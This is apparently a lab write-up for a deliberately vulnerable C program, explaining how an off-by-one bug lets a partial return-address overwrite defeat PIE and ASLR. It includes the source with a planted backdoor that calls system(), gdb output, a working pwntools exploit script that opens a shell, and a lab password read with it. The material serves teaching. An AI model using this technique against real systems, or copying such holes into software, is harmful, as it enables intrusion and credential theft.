For this lab, we are given a program and its corresponding source code:
/*
Exploitation with ASLR
Lab C
gcc -pie -fPIE -fno-stack-protector -o lab6C lab6C.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct savestate {
char tweet[140];
char username[40];
int msglen;
} save;
void set_tweet(struct savestate *save );
void set_username(struct savestate * save);
/* debug functionality, not used in production */
void secret_backdoor()
{
char cmd[128];
/* reads a command and executes it */
fgets(cmd, 128, stdin);
system(cmd);
return;
}
void handle_tweet()
{
struct savestate save;
/* Initialize our save state to sane values. */
memset(save.username, 0, 40);
save.msglen = 140;
/* read a username and tweet from the user */
set_username(&save);
set_tweet(&save);
printf(">: Tweet sent!\n");
return;
}
void set_tweet(struct savestate *save )
{
char readbuf[1024];
memset(readbuf, 0, 1024);
printf(">: Tweet @Unix-Dude\n");
printf(">>: ");
/* read a tweet from the user, safely copy it to struct */
fgets(readbuf, 1024, stdin);
strncpy(save->tweet, readbuf, save->msglen);
return;
}
void set_username(struct savestate * save)
{
int i;
char readbuf[128];
memset(readbuf, 0, 128);
printf(">: Enter your username\n");
printf(">>: ");
/* Read and copy the username to our savestate */
fgets(readbuf, 128, stdin);
for(i = 0; i <= 40 && readbuf[i]; i++)
save->username[i] = readbuf[i];
printf(">: Welcome, %s", save->username);
return;
}
int main(int argc, char * argv[])
{
printf(
"--------------------------------------------\n" \
"| ~Welcome to l33t-tw33ts ~ v.0.13.37 |\n" \
"--------------------------------------------\n");
/* make some tweets */
handle_tweet();
return EXIT_SUCCESS;
}
If we run checksec
, we can see that NX and PIE are enabled.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : Partial
Because PIE is enabled, the ELF executable base address is randomized. However, the offsets within the ELF executable remain the same.
We can verify this by running vmmap
in gdb
a couple of times.
Run 1
0xb7709000 0xb770a000 r-xp /levels/lab06/lab6C
0xb770a000 0xb770b000 r--p /levels/lab06/lab6C
0xb770b000 0xb770c000 rw-p /levels/lab06/lab6C
gdb-peda$ p secret_backdoor
$1 = {<text variable, no debug info>} 0xb776272b <secret_backdoor>
Run 2
0xb7725000 0xb7726000 r-xp /levels/lab06/lab6C
0xb7726000 0xb7727000 r--p /levels/lab06/lab6C
0xb7727000 0xb7728000 rw-p /levels/lab06/lab6C
gdb-peda$ p secret_backdoor
$2 = {<text variable, no debug info>} 0xb772572b <secret_backdoor>
Notice that the lower 3 nibbles of the secret_backdoor
address are always the same!
Vulnerability
We can see from the source code that there is a off by one error introduced in set_username()
on this line:
for(i = 0; i <= 40 && readbuf[i]; i++)
To fix it, we would have to change it to the following.
for(i = 0; i < 40 && readbuf[i]; i++)
This mistake allows us to overwrite the byte adjacent to the username[]
buffer in the save
struct, which in this case, is the msglen
variable.
If we overwrite this msglen
variable with 0xc6
, we will later be able to strncpy()
just enough bytes from stdin to do a partial overwrite of the lower two bytes of the saved EIP of handle_tweet()
.
If we compare the address of main()
and the address of secret_backdoor
, we see why we only need to overwrite the lower two bytes instead of the entire return address.
gdb-peda$ p main
$3 = {<text variable, no debug info>} 0xb77fd962 <main>
gdb-peda$ p secret_backdoor
$1 = {<text variable, no debug info>} 0xb77fd72b <secret_backdoor>
We can see that both of their most significant bytes are 0xb77fd
and that they only differ in the last 3 nibbles.
Also, we don’t want to overwrite msglen
with a value more than 0xc6
for 2 reasons.
First, we don’t want to because of the way strncpy()
works.
Take a careful look at this line:
strncpy(save->tweet, readbuf, save->msglen);
It is supposed to read save->msglen
bytes of data from readbuf
and write them to save->tweet
.
However, because of how strncpy()
works, if the length of readbuf
is less than save->msglen
, then strncpy()
will pad additional null bytes to save->tweet
to ensure that save->msglen
bytes are written.
Additionally, we don’t want to overwrite any more bytes than that because ASLR randomizes bits 13-20, or the middle two bytes, of the saved EIP.
This means that unfortuantely, we won’t know what bits 13-16 are, and need to brute force it. Overwriting msglen
with 0xc7
would require us to bruteforce another nibble, so we just stick with overwriting the lower 2 bytes.
Saved EIP before overwrite
0000| 0xbfe6859c --> 0xb77fd98a (<main+40>: mov eax,0x0)
Saved EIP after overwrite
0000| 0xbfe6859c --> 0xb77f572b ("rtoul_internal")
If we look at the address of secret_backdoor()
, though, we notice that it does not match the address that we overwrote the saved EIP with.
gdb-peda$ p secret_backdoor
$1 = {<text variable, no debug info>} 0xb77fd72b <secret_backdoor>
Again, that is because we need to bruteforce bits 13-16, and therefore, won’t overwrite the saved EIP with the right address, 15 out of every 16 times.
Putting everything together, the following exploit, while not 100% reliable, will give us a shell if we run it a few times.
Solution
#!/usr/bin/env python
from pwn import *
import sys
def exploit(r):
r.sendline("A"*40+"\xc6")
r.sendline("A"*196+"\x2b\x57")
r.sendline("/bin/sh")
r.interactive()
if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
exploit(r)
else:
r = process([ '/levels/lab06/lab6C'])
print util.proc.pidof(r)
#pause()
exploit(r)
lab6C@warzone:/tmp/lab6C$ python solve.py
[*] For remote: solve.py HOST PORT
[+] Starting program '/levels/lab06/lab6C': Done
[28202]
[*] Switching to interactive mode
--------------------------------------------
| ~Welcome to l33t-tw33ts ~ v.0.13.37 |
--------------------------------------------
>: Enter your username
>>: >: Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?>: Tweet @Unix-Dude
>>: >: Tweet sent!
$
$ cat /home/lab6B/.pass
p4rti4l_0verwr1tes_r_3nuff